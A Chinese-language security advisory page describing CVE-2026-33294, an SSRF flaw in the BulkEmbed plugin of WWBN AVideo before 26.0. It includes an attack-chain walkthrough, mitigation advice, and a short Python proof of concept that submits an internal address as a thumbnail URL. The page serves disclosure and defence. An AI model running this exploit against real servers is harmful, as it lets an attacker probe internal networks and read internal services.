IPBUF安全漏洞报告
English
CVE-2026-33294 CVSS 5.0 中危

CVE-2026-33294 AVideo BulkEmbed插件SSRF漏洞

披露日期: 2026-03-22

漏洞信息

漏洞编号
CVE-2026-33294
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SSRF服务端请求伪造AVideoCVE-2026-33294信息泄露内网扫描

漏洞概述

WWBN AVideo是一款开源视频平台。在26.0版本之前,其BulkEmbed插件中的save.json.php端点存在安全漏洞。该端点直接使用url_get_contents()获取用户提供的缩略图URL,且未进行SSRF(服务端请求伪造)防护。与系统中其他经过加固的端点不同,该代码路径被遗漏。经过身份验证的攻击者可利用此漏洞诱导服务器向内部网络资源发起HTTP请求,并查看保存的视频缩略图来获取响应,从而探测内网信息。

技术细节

该漏洞的核心在于WWBN AVideo的BulkEmbed插件中,文件`plugin/BulkEmbed/save.json.php`未对用户输入的URL进行有效校验。当用户保存视频信息时,系统允许指定缩略图URL。代码直接调用`url_get_contents()`函数请求该URL,而忽略了AVideo平台其他端点使用的`isSSRFSafeURL()`安全检查机制。这种疏忽使得经过身份验证的攻击者能够构造恶意请求,将内网地址(如127.0.0.1或内网IP)作为缩略图URL提交。服务器端会代替攻击者向内网发起请求,并将返回的内容作为图片数据存储。随后,攻击者只需在平台前端查看该视频的缩略图,即可读取到内网服务的响应内容。这导致了严重的信息泄露风险,攻击者可利用此漏洞扫描内网端口、访问未授权的内部管理面板或读取本地敏感文件。

攻击链分析

STEP 1
1. 身份认证
攻击者获取WWBN AVideo平台的合法用户账号并登录,因为漏洞利用需要低权限用户身份。
STEP 2
2. 访问插件
攻击者导航至BulkEmbed插件的功能区域,准备添加新的视频条目或修改现有设置。
STEP 3
3. 构造恶意请求
攻击者在视频缩略图URL字段中输入目标内网资源的地址(例如:http://192.168.1.1/admin),而非合法的图片URL。
STEP 4
4. 触发SSRF
攻击者提交表单,服务器端`save.json.php`接收请求并调用`url_get_contents()`直接请求攻击者指定的内网地址。
STEP 5
5. 获取响应
服务器将内网资源的响应内容保存为视频的缩略图文件。攻击者随后在前端页面查看该视频的缩略图,从而获取内网服务的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_host = "http://avideo-example.com" endpoint = "/plugin/BulkEmbed/save.json.php" url = target_host + endpoint # Internal resource to access (e.g., local metadata service) internal_url = "http://127.0.0.1:8080/metadata" # Valid authentication credentials (required) cookies = { "PHPSESSID": "valid_session_cookie_here" } # Payload data payload = { "title": "SSRF Test Video", "url": "http://external-video.com/video.mp4", "thumbnail": internal_url # Malicious internal URL } try: response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the video thumbnail image source to see the response from " + internal_url) else: print("[-] Failed to send request. Status code: " + str(response.status_code)) print(response.text) except Exception as e: print("[-] Error: " + str(e))

影响范围

WWBN AVideo < 26.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用BulkEmbed插件以阻断攻击路径;或者在Web应用防火墙(WAF)中添加规则,检测并拦截对`plugin/BulkEmbed/save.json.php`接口且包含非标准外链URL的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表